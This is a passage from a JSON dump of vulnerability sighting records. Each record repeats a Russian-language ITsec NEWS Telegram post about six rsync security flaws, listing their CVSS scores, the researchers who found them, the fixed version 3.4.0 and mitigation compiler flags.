\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "dc6f336e-ecaf-431f-9b0f-ac1dcac42d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "4eb0f188-f9dd-4ff7-a34d-c42e683f21d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 